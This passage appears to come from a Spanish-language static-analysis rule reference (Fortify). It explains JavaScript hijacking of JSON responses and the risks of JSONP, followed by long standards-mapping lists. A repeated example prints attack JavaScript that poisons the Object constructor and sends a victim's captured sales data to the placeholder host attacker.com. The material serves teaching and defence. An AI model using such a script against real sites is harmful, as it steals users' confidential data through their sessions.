[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
[11] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable. Las matrices de JavaScript pueden ser robadas si el motor JavaScript del explorador permite el envenenamiento del constructor por matrices.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si:
1) Utiliza JavaScript como un formato de transferencia de datos.
2) Administra datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.

Ejemplo 2: el siguiente código muestra un método de vista de Django de ejemplo que envía una respuesta JSON que contiene datos confidenciales en forma de una matriz de JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados e inmunizando la función de devolución de llamada.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir o verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información personalmente identificable.
Debido a su diseño, JSONP es un ataque XSS autoinfligido, ya que para un procesamiento JSON adecuado es necesario que el nombre de la función de devolución de llamada se refleje en el sitio solicitante. Es obligatorio validar e inmunizar el nombre de la función de devolución de llamada para evitar la inyección de JavaScript. Con el fin de inmunizar el nombre de la función de devolución de llamada, considere la posibilidad de crear una lista de caracteres permitidos, cuando sea posible, o admita únicamente caracteres alfanuméricos.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
